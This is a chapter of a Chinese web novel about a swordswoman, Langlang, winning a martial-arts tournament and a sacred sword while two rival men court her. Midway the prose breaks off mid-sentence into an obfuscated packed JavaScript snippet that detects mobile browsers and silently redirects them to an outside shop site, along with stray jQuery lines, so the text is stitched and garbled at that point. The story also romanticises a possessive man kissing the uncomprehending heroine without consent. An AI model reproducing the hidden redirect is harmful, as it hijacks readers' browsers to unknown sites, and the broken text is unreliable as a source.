文趣网 > 其他小说 > 琅琅很厉害但她总被欺负 > 12. 神剑到手
    琅琅独自立在擂台正中,衣袂只沾了些许尘土,发丝有些乱,握剑的手稳如磐石,周身沸腾的血液仍未消减分毫,静静盯着面前畏畏缩缩的一群人。

    高台之上,孟释然眼底的光亮更甚,笑意连连:“琅琅好生迷人,孟某好生喜欢啊”。

    “你不说话,没人当你是哑巴”。宋辞修不装了,摊牌了,他真的很不爽了,直接开始了言语攻击。

    “宋兄,窈窕淑女,君子好逑,琅琅这么可爱,又厉害,想要不喜欢都难呀,请原谅孟某的情不自禁。”孟释然支着下巴,目光牢牢锁在擂台上的少女,语气说不清是有意刺激宋辞修,还是单纯吐露心底真切念头,轻佻又直白。

    宋辞修淡淡侧眸瞥了他一眼,语气平静地提点:“你的那些红颜知己呢?”

    孟释然低笑一声,毫不在意地耸肩,一语戳破对方:“瞧宋兄说的,咱俩不是一个样?”

    他执掌百晓堂,宋辞修身边往来的女子,他早打探得一清二楚。

    “宋某与孟堂主不一样。”

    宋辞修指尖摩挲腰间玉佩,眉眼间带着几分孤芳自赏的意思,自认品行、作风高出对方一截:“宋某是邂逅一个便了结一段,孟堂主却是招惹一个,身边还围着无数个,真要是把你那一众莺莺燕燕聚在一处,场面想来十分热闹。”

    “说到底,本质无差,咱俩都是旁人嘴里的薄情郎和负心汉一个。”

    孟释然半点不遮掩,坦然认下,眼底掠过一丝玩味,“只是孟某惯是怜香惜玉罢了,而宋兄惯会装那副温润如玉但又绝情的模样罢了。”

    宋辞修闻言,薄唇微抿,没有再接话,视线重新落回擂台中央那道纤细身影,心底很不爽。

    宋孟两位薄情郎负心汉你一言我一语间,擂台擂台上只剩三三两两个狼狈人影。

    他们浑身是伤,兵刃尽折,被琅琅彻底打破了胆,其中一人捂着剧痛的肚子,失声嘶吼:“你不是人,你根本不是人!”

    今日这一场车轮围攻,多种战术,耗尽心力,轮番出手或是群而攻之,却连对方一片衣角都未伤到,他们真切意识到,眼前的少女,轻功卓绝,武艺高超,剑术熟稔丝滑,耐力惊人,似乎有用不完的力气,耳力眼力也是非凡,所有人穷尽一生都难以望其项背,根本不是凡人能够抗衡的存在。

    琅琅握着短剑,静静立在原地,语气平平淡淡,还带着几分礼貌问道:“你们还打吗?”

    这话如同最后一根稻草,压垮了几人紧绷又恐惧的心弦,一人连连摆手,满脸后怕地抱怨:

    “不打了,再也不打了!再耗下去,命都要交代在这台上,真是活见鬼,从没见过这般能打的姑娘。若非为了那重金报酬,老子早就抽身走人了,何苦遭这份罪!”

    话音落下,剩下几人再无半分缠斗的心思,各自纵身跃下擂台,仓皇退下休整。偌大比武台,只余下琅琅一道纤细身影,孤零零立在场地正中,格外醒目。

    下一瞬,震耳欲聋的呼声席卷全场,台下所有人尽数热血沸腾。此番对决前无古人后无来者,三十人合围一人,步步惊心动魄,堪称历届武林大会最精彩的一场比试。无数江湖人高声呐喊,呼声此起彼伏:

    “逍遥谷琅琅天下第一!逍遥谷琅琅天下第一!”“天下第一”

    不明内情的众人还在交口称赞,名剑山庄临时更改赛制实属是一番巧思,极大增添了比武观赏性,让众人饱览一场酣畅淋漓的视觉盛宴。

    高台一侧,名剑山庄庄主苏槐僵坐原位,脸上扯出一抹比哭还要难看的笑。他死死盯着台上从容淡然的少女,心头翻涌着无尽悔意。当年他明明有无数机会斩草除根,偏偏一时心软放过,如今反倒让她当众拆了自己的局,这般局面,他当真不知该如何收场。

    身侧孟释然望着欢呼的人群,又侧头看向身旁沉默不语的宋辞修,唇角笑意更深:“琅琅好生威风呀,一战成名,可喜可贺”。

    宋辞修目光牢牢落在那道万众瞩目、立于擂台中央的身影上,眼底翻涌着层层叠叠、复杂难辨的情绪。

    台下震天的喝彩不绝于耳,所有人都在追捧她的强大,可他心底却生起一股偏执的占有欲,恨不得寻一方天地将她包裹藏匿,隔绝世间所有人的视线,独独留给他一人。

    他半点不愿看见如今这般局面。从前的琅琅,呆愣愣的,心思纯粹又简单,安安静静跟在他身后,凡事全然信赖,事事都愿意听他安排,温顺又省心。

    可今日一战,她锋芒毕露,独当一面,好像不再需要他了。这般耀眼夺目,引得江湖众人侧目,连孟释然都对她心生爱慕,这般变数,让他心底莫名堵闷,半点都不欢喜。

    “宋兄看着反倒不开心?这般盖世无双的姑娘,难不成你想把她私藏起来,不让旁人瞧见?”一旁孟释然瞧他神色晦暗,似是看穿了他心底暗藏的独占心思,低低轻笑声来。

    “孟堂主好像很关心宋某,很在意宋某,不知道的,还以为是你对宋某起了心思”。宋辞修恶心了孟释然一把。

    “呵呵,宋兄说笑了”。孟释然有被恶心到,端坐回原位,继续欣赏琅琅的英姿。

    宋辞修重新覆上一层温润平和的假面,继续观看。

    百强之中,除却方才三十个败下阵来的对手,其余闯过比试的胜者,望着台上气场慑人的琅琅,心生怯意,纷纷望而却步,不少人直接抬手示意自愿弃权,方才喧闹沸腾的赛场,瞬间冷却下来。

    大赛主持见无人敢上前,只得扬声高声询问:“其余胜出之人,还有谁愿上台继续比试?”

    全场陷入短暂的沉默。忽有一道青衣身影凌空掠起,足尖点过台沿,稳稳落在擂台中央,是个与琅琅年岁相仿的少年。

    少年拱手正色,声音清亮坦荡:“千阙宫慕云书,前来领教姑娘高招。云书自知各方面远不及你,却仍想一试,请赐教。”

    “嗯,好。”琅琅轻轻颔首。她知道自己厉害,但师父说过,每个对手都要认真对待,他们都值得尊重,万万不可轻视。

    慕云书率先提剑攻来,招式行云流水,根基扎实,看得出来极具天赋且认真刻苦,只是实战历练较少,招式之间破绽频繁而出。琅琅瞧出他满心赤诚,是真心想要切磋比武,若是一招便将人打下台,未免太过不留情面了。

    她收了几分凌厉攻势,放缓身形与他你来我往的拆招周旋,出手处处留有余地,打法温和克制,明眼人一眼便能看出,她全程在刻意相让。

    二人缠斗之间,琅琅借着交剑的间隙,平静提点,一字一句点出他招式里的疏漏与化解之法。离擂台近的看客听得一清二楚,全场再度掀起哗然。谁也没想到,方才以一敌三十、所向披靡的姑娘,此刻竟一边比武,一边耐心指点对手剑术短板。

    高台之上,孟释然看得饶有兴致,轻笑出声:“唉,又有一个竞争对手了,但又愈发合我心意了。”

    宋辞修静静望着台上认真指点少年的琅琅,眼底的生气都快藏不住了,心底那股想要将她独自藏起的念头,愈发清晰。

    数十回合过后,慕云书主动收剑后撤,对着琅琅认认真真拱手,眉眼间满是少年的真切欣喜与感激:

    “谢谢你,琅琅。今日承蒙提点,我回去定细细琢磨。我名慕云书,出身千阙宫,今日能与你交手、得你指点,是我的荣幸,很高兴认识你,我们日后定会再见。”

    琅琅收了短剑,乖乖点头应声:“嗯好。”

    少年再度深揖一礼,才纵身跃下擂台,离场时还频频回头望向台上的身影。

    大会主持还得履职,他扬声喊道:“各路豪杰,可还有人上台应战?”

    话音落,全场又是一阵短暂无声,无人再敢登台一试。

    主持见状,朗声道:

    “既然再无人应战,那由本人正式宣告——本届武林大会魁首,逍遥谷琅琅!”

    欢呼声瞬间掀翻整个赛场,万千看客齐齐振臂呐喊,声声震耳:“琅琅天下第一!天下第一!”

    “琅琅虽是以逍遥谷之名参赛,但论名分,她亦是我苏某名义上的女儿,今日夺得魁首,苏某与有荣焉。”苏槐身为

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17866103|212199||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    山庄庄主,还得在会上致辞,说得冠冕堂皇。但他此刻的内心,万般不甘和恼火,还得硬着头皮,面上强行挤出得体笑意。

    言毕,他缓步走到擂台边,望向台上孤身而立的琅琅,一副温和慈和的模样:

    “琅琅,恭喜你,获得神剑,有了它,你以后更所向披靡,现如今,你虽然有了更强的靠山,但名剑山庄永远是你的家,有时间就回来看看。”

    琅琅静静抬眼望着他,眸光平淡无波,半分回应也无。

    她的确会再踏足名剑山庄,但不是回家探望,那里也不是她的家。

    两名侍从抬着安置神剑的玉台缓步走上擂台,红绸轻垂,那柄通体透亮的长剑静静卧于其上。苏槐亲自上前,双手托起剑身,一步步走到琅琅面前。

    琅琅抬眸望去,的确是师父铸就的那柄剑。此刻万众瞩目,名剑山庄肯定不敢弄一把仿冒假货搪塞,一旦露馅,只会沦为整个江湖的笑柄,贻笑大方。

    “琅琅,接着吧,这柄神剑从今往后归你所有。”苏槐维持着温和慈祥的神态,双手将长剑稳稳递到琅琅手中。

    琅琅伸手接过剑,指尖触碰到铸纹,心头骤然一热。她抬手轻挥,剑光清冽流转,师父的剑,终究是到她手里了。

    琅琅一个闪现,回到了宋辞修所在的高台上。

    “琅琅持得神剑,可喜可贺,那么,你什么时候回来呢?”孟释然笑颜如花。

    “不回去了,总堂主,我要找师父,谢谢。”琅琅老实回答。

    “你这不是舍近求远吗?找师父不是更应该回来?”。孟释然不知道宋辞修是如何给琅琅吹耳边风的,想他偌大的查探机构,她竟然还看不上,怎么想的?

    “不牢孟堂主费心了,她说不回去了,孟释然想必听得很清楚,告辞”。宋辞修自然不会给孟释然蛊惑的机会,话音刚落就牵着琅琅下了高台,扬长而去。

    呵呵,山不来我就去山,不急,时间还很长,可以徐徐图之。孟释然默念。

    琅琅抱着神剑,与宋辞修安坐在马车上,大脑是放空的,啥事也没想。

    “琅琅”。宋辞修平静地喊她。

    “嗯”。琅琅随意回应一下,眼睛依然是空洞的。

    “明日,登门拜访名剑山庄”。名剑山庄欺人太甚,既如此,便亲自去一趟了,暗中调查浪费时间,不如主动出击,他倒要看看名剑山庄怎么应对。

    “嗯好”。琅琅也有如此打算,如果他们不配合,不说出师父的消息,那她就自己去找。

    如果没有宋辞修的提点,她不会往名剑山庄想,她真的太笨了,师父就是在名剑山庄消失不见的,他从未给她说过他要走的消息,突然消失不见,她一股脑地觉得师父离开名剑山庄了。从未想过师父被名剑山庄藏起来了,肯定是被藏起来了,不是被杀了。琅琅自我安慰。

    “今日那个少年,好看吗?”宋辞修问了一句风马牛不相及的问题。

    “好看的”。琅琅客观地回答。怎么突然问这个问题,真奇怪,琅琅心想。

    “他好看还是我好看?”。宋辞修好似漫不经心地继续问。

    “你好看”。琅琅用自己的审美角度进行回应。

    “那是我好看还是孟释然好看?”。宋辞修继续要求琅琅进行比较。

    “你好看”。琅琅觉得宋辞修是最好看的。

    突然,宋辞修伸手便扣住琅琅的腰,猛地将人揽进怀中。不等琅琅反应过来,他低头覆上她的红唇。

    琅琅睁着一双清亮的眼睛,全然懵懵无知,并不明白他突如其来的举动究竟意味着什么。她不懂男女情爱的缱绻,既没有推拒,也没有回应,就这般任由他牢牢搂在怀里,被动承受这滚烫的亲吻。

    好似过了很久,宋辞修才停下动作,对上琅琅的眼眸,问道:“你知道这是什么意思吗?”

    琅琅摇摇头,她不知道。

    “傻子”。宋辞修又吻了一下她的额头。

    琅琅依然莫名其妙地看着他,但宋辞修未作出任何解释,只是将她抱紧。